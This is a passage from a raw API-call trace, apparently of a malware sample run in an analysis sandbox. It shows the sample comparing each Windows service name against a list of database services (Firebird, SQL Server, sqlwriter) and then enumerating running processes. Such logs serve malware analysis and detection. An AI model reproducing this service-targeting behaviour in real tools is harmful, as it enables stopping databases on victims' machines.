(lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0283.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0283.355] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0283.355] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0283.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0283.355] lstrlenW (lpString="ClickToRunSvc") returned 13 [0283.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0283.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0283.358] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0283.358] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0283.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0283.359] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0283.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0283.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0283.359] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0283.359] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0283.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0283.359] lstrlenW (lpString="CryptSvc") returned 8 [0283.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0283.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0283.359] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0283.359] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0283.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0283.359] lstrlenW (lpString="DcomLaunch") returned 10 [0283.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0283.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0283.359] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0283.359] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0283.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0283.359] lstrlenW (lpString="DeviceAssociationService") returned 24 [0283.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0283.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0283.360] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0283.360] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0283.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0283.360] lstrlenW (lpString="Dhcp") returned 4 [0283.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0283.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0283.360] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0283.360] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0283.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0283.360] lstrlenW (lpString="Dnscache") returned 8 [0283.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0283.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0283.360] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0283.360] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0283.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0283.360] lstrlenW (lpString="DPS") returned 3 [0283.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0283.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0283.360] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0283.360] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0283.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0283.360] lstrlenW (lpString="DusmSvc") returned 7 [0283.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0283.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0283.361] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0283.361] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0283.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0283.361] lstrlenW (lpString="EventLog") returned 8 [0283.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0283.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0283.361] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0283.361] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0283.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0283.361] lstrlenW (lpString="EventSystem") returned 11 [0283.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0283.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0283.361] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0283.361] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0283.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0283.361] lstrlenW (lpString="FontCache") returned 9 [0283.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0283.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0283.361] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0283.361] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0283.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0283.362] lstrlenW (lpString="gpsvc") returned 5 [0283.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0283.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0283.362] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0283.362] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0283.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0283.634] lstrlenW (lpString="iphlpsvc") returned 8 [0283.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0283.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0283.634] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0283.634] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0283.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0283.634] lstrlenW (lpString="KeyIso") returned 6 [0283.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0283.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0283.634] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0283.634] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0283.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0283.634] lstrlenW (lpString="LanmanServer") returned 12 [0283.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0283.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0283.634] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0283.634] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0283.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0283.635] lstrlenW (lpString="LanmanWorkstation") returned 17 [0283.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0283.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0283.635] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0283.635] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0283.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0283.635] lstrlenW (lpString="lfsvc") returned 5 [0283.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0283.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0283.635] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0283.635] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0283.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0283.635] lstrlenW (lpString="lmhosts") returned 7 [0283.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0283.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0283.636] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0283.636] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0283.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0283.636] lstrlenW (lpString="LSM") returned 3 [0283.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0283.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0283.636] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0283.636] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0283.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0283.636] lstrlenW (lpString="MpsSvc") returned 6 [0283.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0283.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0283.636] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0283.636] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0283.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0283.636] lstrlenW (lpString="NcbService") returned 10 [0283.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0283.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0283.636] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0283.636] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0283.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0283.637] lstrlenW (lpString="netprofm") returned 8 [0283.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0283.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0283.637] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0283.637] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0283.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0283.637] lstrlenW (lpString="NgcSvc") returned 6 [0283.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0283.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0283.637] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0283.637] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0283.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0283.637] lstrlenW (lpString="NlaSvc") returned 6 [0283.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0283.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0283.638] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0283.638] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0283.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0283.638] lstrlenW (lpString="nsi") returned 3 [0283.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0283.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0283.638] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0283.638] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0283.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0283.638] lstrlenW (lpString="PcaSvc") returned 6 [0283.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0283.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0283.638] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0283.638] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0283.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0283.638] lstrlenW (lpString="PlugPlay") returned 8 [0283.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0283.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0283.638] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0283.638] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0283.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0283.639] lstrlenW (lpString="Power") returned 5 [0283.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0283.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0283.639] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0283.639] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0283.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0283.639] lstrlenW (lpString="ProfSvc") returned 7 [0283.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0283.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0283.650] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0283.650] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0283.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0283.650] lstrlenW (lpString="RpcEptMapper") returned 12 [0283.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0283.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0283.650] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0283.650] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0283.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0283.651] lstrlenW (lpString="RpcSs") returned 5 [0283.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0283.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0283.651] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0283.651] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0283.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0283.651] lstrlenW (lpString="SamSs") returned 5 [0283.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0283.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0283.651] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0283.651] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0283.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0283.651] lstrlenW (lpString="Schedule") returned 8 [0283.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0283.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0283.651] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0283.651] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0283.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0283.651] lstrlenW (lpString="SecurityHealthService") returned 21 [0283.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0283.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0283.652] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0283.652] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0283.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0283.652] lstrlenW (lpString="SENS") returned 4 [0283.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0283.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0283.652] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0283.652] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0283.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0283.652] lstrlenW (lpString="ShellHWDetection") returned 16 [0283.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0283.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0283.652] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0283.652] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0283.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0283.652] lstrlenW (lpString="Spooler") returned 7 [0283.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0283.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0283.653] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0283.653] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0283.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0283.653] lstrlenW (lpString="StateRepository") returned 15 [0283.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0283.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0283.653] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0283.653] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0283.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0283.653] lstrlenW (lpString="SysMain") returned 7 [0283.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0283.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0283.653] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0283.653] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0283.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0283.653] lstrlenW (lpString="SystemEventsBroker") returned 18 [0283.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0283.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0283.653] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0283.653] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0283.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0283.654] lstrlenW (lpString="Themes") returned 6 [0283.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0283.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0283.654] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0283.654] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0283.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0283.654] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0283.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0283.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0283.654] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0283.654] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0283.654] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45de478 | out: hHeap=0x640000) returned 1 [0283.843] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x558 [0283.849] Process32FirstW (in: hSnapshot=0x558, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0283.850] Process32NextW (in: hSnapshot=0x558, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x69, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0283.852] lstrlenW (lpString="System") returned 6 [0283.852] Process32NextW (in: hSnapshot=0x558, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0283.853] lstrlenW (lpString="smss.exe") returned 8 [0283.853] Process32NextW (in: hSnapshot=0x558, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0283.854] lstrlenW (lpString="csrss.exe") returned 9 [0283.854] Process32NextW (in: hSnapshot=0x558, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0283.855] lstrlenW (lpString="wininit.exe") returned 11 [0283.855] Process32NextW (in: hSnapshot=0x558, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0283.856] lstrlenW (lpString="csrss.exe") returned 9 [0283.856] Process32NextW (in: hSnapshot=0x558, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0283.858] lstrlenW (lpString="winlogon.exe") returned 12 [0283.858] Process32NextW (in: hSnapshot=0x558, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0283.859] lstrlenW (lpString="services.exe") returned 12 [0283.859] Process32NextW (in: hSnapshot=0x558, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0283.860] lstrlenW (lpString="lsass.exe") returned 9 [0283.860] Process32NextW (in: hSnapshot=0x558, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0283.861] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0283.862] Process32NextW (in: hSnapshot=0x558, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0283.863] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0283.863] Process32NextW (in: hSnapshot=0x558, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.864] lstrlenW (lpString="svchost.exe") returned 11 [0283.864] Process32NextW (in: hSnapshot=0x558, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.865] lstrlenW (lpString="svchost.exe") returned 11 [0283.865] Process32NextW (in: hSnapshot=0x558, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0283.866] lstrlenW (lpString="dwm.exe") returned 7 [0283.866] Process32NextW (in: hSnapshot=0x558, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.867] lstrlenW (lpString="svchost.exe") returned 11 [0283.867] Process32NextW (in: hSnapshot=0x558, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, 